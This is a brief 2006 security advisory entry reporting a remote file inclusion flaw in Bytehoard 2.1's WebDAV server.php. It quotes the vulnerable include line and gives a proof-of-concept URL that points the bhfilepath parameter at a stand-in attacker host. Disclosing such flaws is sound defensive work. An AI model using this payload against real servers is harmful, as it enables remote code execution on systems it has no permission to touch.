Bytehoard 2.1 Remote File Include

2006-06-03T00:00:00
ID SECURITYVULNS:DOC:12957
Type securityvulns
Reporter Securityvulns
Modified 2006-06-03T00:00:00

Description

Script: Bytehoard 2.1 Epsilon/Delta www.bytehoard.org Discovered: beford <xbefordx gmail com> File: ./bytehoard/includes/webdav/server.php Vuln: Remote File Include

[code] require_once $bhconfig['bhfilepath']."/includes/webdav/_parse_propfind.php"; [/code]

http://url.com/bytehoard/includes/webdav/server.php?bhconfig[bhfilepath]=attacker